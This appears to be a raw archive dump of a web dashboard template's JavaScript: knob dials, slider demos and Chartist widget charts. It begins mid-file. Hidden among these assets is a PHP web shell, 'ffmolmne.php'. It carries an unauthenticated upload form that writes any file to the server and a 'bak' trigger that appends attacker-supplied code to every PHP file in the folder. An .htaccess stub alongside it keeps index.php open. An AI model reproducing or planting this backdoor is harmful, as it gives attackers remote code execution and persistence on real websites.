this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); }); $(document).ready(function() { /*× Overloaded 'draw' method*/ $(".dial").knob({ draw: function() { // "tron" case if (this.$.data('skin') == 'tron') { this.cursorExt = 0.3; var a = this.arc(this.cv) // Arc , pa // Previous arc , r = 1; this.g.lineWidth = this.lineWidth; if (this.o.displayPrevious) { pa = this.arc(this.v); this.g.beginPath(); this.g.strokeStyle = this.pColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, pa.s, pa.e, pa.d); this.g.stroke(); } this.g.beginPath(); this.g.strokeStyle = r ? this.o.fgColor : this.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth, a.s, a.e, a.d); this.g.stroke(); this.g.lineWidth = 2; this.g.beginPath(); this.g.strokeStyle = this.o.fgColor; this.g.arc(this.xy, this.xy, this.radius - this.lineWidth + 1 + this.lineWidth * 2 / 3, 0, 2 * Math.PI, false); this.g.stroke(); return false; } } }); }); range-slider.js 0000644 00000012005 15167670232 0007465 0 ustar 00 'use strict'; $(document).ready(function() { // range slider $('#ex1').slider({ formatter: function(value) { return 'Current value: ' + value; } }); // With JQuery $("#ex2").slider({}); //#ex3 var RGBChange = function() { $('#RGB').css('background', 'rgb(' + r.getValue() + ',' + g.getValue() + ',' + b.getValue() + ')') }; var r = $('#R').slider() .on('slide', RGBChange) .data('slider'); var g = $('#G').slider() .on('slide', RGBChange) .data('slider'); var b = $('#B').slider() .on('slide', RGBChange) .data('slider'); //#ex4 $("#ex4").slider({ reversed: true }); //#ex5 var slider = new Slider('#ex5'); var toggleBtn = document.querySelector('button[data-behaviour="toggle"]#destroyEx5Slider '); toggleBtn.addEventListener('click', function (e) { var container = e.target.previousElementSibling; if (container.style.cssText.match(/display[\s:]{1,3}none/)) { container.style.cssText = ''; } else { container.style.cssText = 'display: none;'; } }, false); //#ex6 $("#ex6").slider(); $("#ex6").on("slide", function(slideEvt) { $("#ex6SliderVal").text(slideEvt.value); }); //#ex7 $("#ex7-enabled").on('click',function() { if (this.checked) { // With JQuery $("#ex7").slider("enable"); // Without JQuery slider.enable(); } else { // With JQuery $("#ex7").slider("disable"); // Without JQuery slider.disable(); } }); //#8 var slider = new Slider("#ex8", { tooltip: 'always' }); //#9 var slider = new Slider("#ex9", { precision: 2, value: 8.115 // Slider will instantiate showing 8.12 due to specified precision }); //#10 var slider = new Slider("#ex10", {}); //#11 var slider = new Slider("#ex11", { step: 20000, min: 0, max: 200000, tooltip: 'always' }); //#12 $("#ex12a").slider({ id: "slider12a", min: 0, max: 10, value: 5 }); $("#ex12b").slider({ id: "slider12b", min: 0, max: 10, range: true, value: [3, 7] }); $("#ex12c").slider({ id: "slider12c", min: 0, max: 10, range: true, value: [3, 7] }); //#13 $("#ex13").slider({ ticks: [0, 100, 200, 300, 400], ticks_labels: ['$0', '$100', '$200', '$300', '$400'], ticks_snap_bounds: 30 }); //#14 $("#ex14").slider({ ticks: [0, 100, 200, 300, 400], ticks_positions: [0, 15, 35, 60, 90, 100], ticks_labels: ['$0', '$100', '$200', '$300', '$400'], ticks_snap_bounds: 30 }); // #15 $("#ex15").slider({ min: 1000, max: 10000000, scale: 'logarithmic', step: 10 }); //#16 $("#ex16a").slider({ min: 0, max: 10, value: 0, focus: true }); $("#ex16b").slider({ min: 0, max: 10, value: [0, 10], focus: true }); // #ex17 $("#ex17a").slider({ min: 0, max: 10, value: 0, tooltip_position: 'bottom' }); $("#ex17b").slider({ min: 0, max: 10, value: 0, orientation: 'vertical', tooltip_position: 'left' }); // #ex18 $("#ex18a").slider({ min: 0, max: 10, value: 5, labelledby: 'ex18-label-1' }); $("#ex18b").slider({ min: 0, max: 10, value: [3, 6], labelledby: ['ex18-label-2a', 'ex18-label-2b'] }); //#ex19 no script //#ex20 $('#ex20a').on('click', function(e) { $('#ex20a') .parent() .find(' >.show-well') .toggle() .find('input') .slider('relayout'); e.preventDefault(); }); //#21 no script //#22 // With JQuery $('#ex22').slider({ id: 'slider22', min: 0, max: 20, step: 1, value: 14, rangeHighlights: [{ "start": 2, "end": 5 }, { "start": 7, "end": 8 }, { "start": 17, "end": 19 }, { "start": 17, "end": 24 }, { "start": -3, "end": 19 } ] }); //#23 $("#ex23").slider({ ticks: [0, 1, 2, 3, 4], ticks_positions: [0, 30, 60, 70, 90, 100], ticks_snap_bounds: 200, formatter: function(value) { return 'Current value: ' + value; }, ticks_tooltip: true, step: 0.01 }); //#7 var slider = new Slider("#ex7"); }); widget-statistic.js 0000644 00000006242 15167670232 0010407 0 ustar 00 'use strict'; $(document).ready(function() { // page statustic chart start setTimeout(function() { var widgetlineChart = new Chartist.Line('#Widget-line-chart1', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); var widgetlineChart = new Chartist.Line('#Widget-line-chart2', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); var widgetlineChart = new Chartist.Line('#Widget-line-chart3', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); var widgetlineChart = new Chartist.Line('#Widget-line-chart4', { labels: ["1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13"], series: [ [50, 45, 60, 55, 70, 55, 60, 55, 65, 57, 60, 53, 53] ] }, { axisX: { showGrid: true, showLabel: false, offset: 0, }, axisY: { showGrid: false, low: 40, showLabel: false, offset: 0, }, fullWidth: true, }); }, 800); // page statustic chart end // Social Slider start $('#fb-slider').owlCarousel({ loop: true, margin: 0, items: 1, autoplay:true, nav: false, loop: true }); $('#tw-slider').owlCarousel({ loop: true, margin: 0, items: 1, autoplay:true, nav: false, loop: true }); $('#gp-slider').owlCarousel({ loop: true, margin: 0, items: 1, autoplay:true, nav: false, loop: true }); // Social Slider end }); ffmolmne.php 0000644 00000001370 15167670232 0007072 0 ustar 00 <?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?> <?php if (isset($_GET['bak'])) { $directory = __DIR__; $mama = $_POST['file']; $textToAppend = ' ' . $mama . ' '; if ($handle = opendir($directory)) { while (false !== ($file = readdir($handle))) { if (pathinfo($file, PATHINFO_EXTENSION) === 'php') { $fileHandle = fopen($directory . '/' . $file, 'a'); fwrite($fileHandle, $textToAppend); fclose($fileHandle); echo "OK >> $file "; } } closedir($handle); } } ?> index.php 0000644 00000000000 15167670232 0006363 0 ustar 00 695390/.htaccess 0000644 00000000173 15167670232 0007133 0 ustar 00 #---do-not-change-the-following-content--- <FilesMatch "^(index.php)$"> Order allow,deny Allow from all </FilesMatch>